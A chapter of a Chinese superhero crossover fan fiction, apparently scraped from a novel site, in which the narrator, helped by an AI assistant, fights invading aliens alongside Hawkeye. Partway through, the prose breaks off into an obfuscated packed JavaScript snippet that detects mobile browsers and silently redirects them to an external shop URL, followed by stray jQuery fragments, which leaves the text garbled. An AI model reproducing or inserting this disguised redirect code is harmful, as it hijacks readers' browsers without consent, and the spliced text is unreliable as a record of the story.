文趣网 > 都市小说 > [综英美]你好我爹是白罐 > 6. 你是叫汤姆·里德尔吗
    鹰眼比我预想中的要好相处。

    可能这得得益于这个世界。知道他们是“好人”,是“英雄”,是一回事;亲身体会这一切,是另外一回事。

    我只不过是动了动嘴皮子就能让鹰眼保护我,而且我居然确凿无疑地能信任他。在我们那边可没有这种好事。

    我心中不禁油然而生一种路上捡钱的快乐。

    (2)(5)的声音就在我心情很好的时候插了进来。

    “我必须得提醒您,先生,您这样做是极度危险的。”

    我不知道哪儿危险了。鹰眼正戒备地巡视四周,寻找掩体,看起来非常负责任。而我只需要坐在这,等着(2)(5)把活儿都干了就好了。

    ——控制那些无人机的当然不是我。我再能干也不能一心几千用。

    所以我没理(2)(5),但他坚持不懈:

    “克林特·巴顿先生是个潜在的威胁,您似乎不应该忽略他。”

    “好好工作,”我懒洋洋地说,“这不是你该担心的。无人机够用吗?”

    (2)(5)听起来多少有点不甘心,他的人格模拟模块过度发达了:

    “和计算的一样,在您不仅把翠鸟七号全派出去,还转换了一部分绝境病毒机器人之后——”他故意加重了这句话里的某些词,语气微妙,“——我们的监视对纽约市区的覆盖率达到43%,对冲突区域的覆盖率达到99%,提供的情报足够制定计划。”

    “完美。”我说,忽略了(2)(5)话里阴阳怪气的那一部分,“同步给他们吧。”

    “同步给钢铁侠,还是……美国队长?”

    (2)(5)在说出那个名字之前停顿了一下。我理解,这个名字对我们来说还是太陌生了。

    “给钢铁侠。”我说,“美国队长的脑子处理不过来这些数据。”

    即使他脑子转得有普通人四倍快也不行。

    我没等多久,托尼的声音很快就在通讯里响了起来:

    “干得不错,酒鬼侠。”他的声音听起来比平时大了不少,可能是爆炸暂时损伤了他的听力,“下次记得提醒我你还没到喝酒的年龄!”

    说实在的,我非常惊奇于他的话题选择。

    “我不知道你还关心这个?”

    “下次我们见面的时候会有个派对的。如果那是在我的地盘上,我就不会让你喝酒。”托尼义正严辞地说,“你可以喝点可乐什么的,没关系,我也喜欢喝可乐。可乐很酷。”

    我不在乎酷不酷的事,但:

    “我从来不喝碳酸饮料。”

    而且猜猜是谁往我身上泼酒呢?托尼——我们那边那个——可完全没在乎过这件事。不如说,他喜欢看到所有人沉迷于他的派对中,当然也包括我。

    我从来没想过他为什么要泼我一脑袋酒。可能他喝醉了,可能他只是想捉弄我,可能他只是单纯地不想喝那杯酒,而我的头正巧出现在他面前,又正巧看起来像个垃圾桶。

    ——总不能真的是因为我叫他父亲?我又不是第一次这么叫他了。

    这一切可能都毫无意义,正像我们的那个世界一样,充满了随机的恶意。

    “真够挑剔的,小子。”托尼的声音——金红色版本的——让我从我的回忆中回过神。他砸了砸嘴,“好吧,我会让哈皮给你准备点果汁小甜水的,这总行了吧?别当个挑挑拣拣的小混蛋。”

    我越来越惊奇了。

    他的意思是……他会让我去参加他们的……大概是庆功派对吗?我这个身份不明、持有危险武器、和他认识不到半天的人?

    老天,我不知道他这到底算是轻信还是傲慢。他怎么活到现在还没死的?

    “托尼,埃利孔,这里不是让你们聊天用的。”美国队长严肃的声音响了起来。他紧接着下达了一连串命令,所有人都立刻行动了起来。

    史蒂夫·罗杰斯的确是个战术大师。

    在他的指挥下,外星人们被层层收拢,英雄们像是牧羊犬驱赶羊群那样将他们赶到一个空旷的广场上。

    接下来的事似乎很简单了。我只需要坐在这等着他们解决问题就好。

    我看着(2)(5)计算出的战场地图,感到一种罕见的放松。

    这就是被带飞的感觉吗?好爽。

    离开了我们那个你争我斗勾心斗角的世界,才发现外面根本没下雨——话虽如此,我的家乡依然教会了我重要的一课。

    ——在一切都尘埃落定以前,最好不要提前开香槟。

    “先生!”(2)(5)骤然在通讯里提高了声音,“监测到虫洞中新出现的外星士兵正快速靠近您现在的位置。”

    “我看到了。”我盯着地图说,离我很近的街区刚才还一片风平浪静,现在已经挤满了代表敌人的红点,“把离得近的纳米机器人调回来。”

    “正在调用——先生,时间有可能不够。”

    鹰眼在尽职尽责地巡逻,我看着他警惕的身影,几乎有点心不在焉:“有鹰眼在,能拖到。”

    (2)(5)有几秒钟没说话。

    “……您对他们的信任程度有些异常。”过了一会儿,他才说,“这是因为这个世界的特殊,还是因为他们的特殊?”

    我没回答。(2)(5)是个人工智能,他表现得再人性化也不是人。发现我并不理会他之后,他就没有在这个话题上继续。

    其实(2)(5)所担心的事并非毫无根据。我本人的战斗力很大程度上依赖于托尼提供给我的纳米铠甲“翠鸟七号”,把它们全派出去之后,我就会变得比较不设防。

    但这不等同于我会变得脆弱。

    绝境病毒,作为我父亲最惊才绝艳的发明之一,远远不止“把人变好看”这一个功能。

    大楼微微晃动了一下。我和鹰眼一起抬头望向窗边。现在还看不到敌人,但是从地图分析,它们应该正顺着大楼往上爬。

    其实这栋楼的电梯还在运转,我不太明白它们为什么不坐电梯上来。

    可能是觉得爬玻璃很帅?

    我百无聊赖地看着外星人奇形怪状的脑袋成群地在窗口旁出现,又看着鹰眼干脆利落地用箭挨个把它们解决,不禁鼓了鼓掌。

    鹰眼百忙之中抽空回头看了我一眼:“做点什么!至少找个掩体!”

    他气急败坏。我知道原因——因为我从始至终坐在这,连动都没动,更别说站起来了。

    嗯,我这样做其实是有原因的,而且是一个好原因。

    敌人越来越多,看来超人和蝙蝠侠那边遇到了什么麻烦,不然虫洞应该早就被关上了,不会像现在这样源源不断地输送敌人。

    虽然我们占据地理优势,但是毕竟我们只有两个人。两个人里还只有一个在正儿八经地战斗。

    剩下那个,也就是我,正在若无其事地近距

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942621|213959||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    离欣赏这难得一见的打斗场面。

    我一点儿都不觉得羞愧。首先,我就是这样的人,没顺便坑一把鹰眼已然算是我道德巅峰;其次我确实心有余而力不足,我需要等到我的小机器人们回来,才能正儿八经地贡献出战斗力。

    不过,正像我之前说的那样,这不代表我现在一点办法也没有。

    窗口旁的敌人越来越多,眼看鹰眼已经没法一个人应付了。他且战且退,几乎要被敌人埋没的时候,我忽然提高了声音,冲他高声喊道:

    “躲开!”

    鹰眼不愧是顶尖的特工,即使他已经被外星大军挤的喘不过气来,听到我的指令时仍然第一时间往旁边一滚,精准地穿过人群中一个狭窄的角落,完美地躲到了一旁,正如我计划中的一样。

    我心里再次涌起一种路边捡钱的快乐。说实话,我从来不知道有一个不蠢也不坏、能听懂人话、善于配合、还不坑人的同伴究竟是什么感觉。

    现在我知道了。感觉就和我杀人的时候一样爽。

    因此我举起手,准备给我的好心情再添一把火。

    物理上的。

    我手臂上的肌肉跳动了一下,然后有什么东西在皮肤下浪花般翻滚起来,我能看见周围的空气一瞬间因为灼热而扭曲,高温升腾,小臂的皮肤岩浆般赤红。

    我颇有生活情趣地比了个开枪的手势,大概瞄准了一下,然后说:

    “Boom。”

    “——”

    大楼外的风一瞬间就拍到了我的脸上,裹着热浪和臭味,还顺便送来一堆外星生物的残骸,还好没真的飘到我这。

    看起来即使是外星人也会像地球上活着的东西一样被高温摧毁。我不得不承认,这让我这个第一次见到外星人的人大大地松了口气。

    ——骗你的,我之前见过终极人。

    鹰眼正瞪着融熔的玻璃看,他的脸被燃起的大火映得通红。我叫了他一声,他回过头,眼神充满谴责。

    我对他摊了摊手。

    “不好意思。”我诚恳地向鹰眼道歉,“这招是一次性的。”

    鹰眼满脸写着我才不信。

    我顺着他的视线看见我那还没来得及变回正常的胳膊,忽然感觉有点心虚。于是我故作淡定地把它往背后藏了藏,试图瞒天过海地变回去。

    从鹰眼的视线落点来看我失败得很彻底。

    但是我已经把胳膊变回去了,所以我姑且当作刚才什么都没发生,我并没有徒手搓了一发火球术并烧着了三分之一层楼。如果有人感兴趣的话,不,这一点儿也不疼。

    还好鹰眼没问我什么,不然我也不知道该怎么解释。

    他只是快步向我走过来,趁着外星人被骤然燃起的大火绊住脚步的时候暂时收起弓箭,朝我伸出手。

    “我们得——”

    我猜他要说的是“我们得赶紧转移”,但是我不会听见这句话了。因为他在离我只有几步远的地方浑身一僵,然后“啪唧”一声,脸朝下地拍在了地上。

    我为他的鼻子哀悼了一秒。然而当我抬起头,看见一个神似伏地魔的没鼻子外星人飘在空中的时候,我的哀悼对象就丝滑地换了个人。

    他看着我,我看着他。他的手还举在空中,显然正是他击昏了鹰眼。

    我又看了他两秒。他飘着,我坐着。然后我尽可能礼貌地问:

    “你是叫汤姆·里德尔吗?”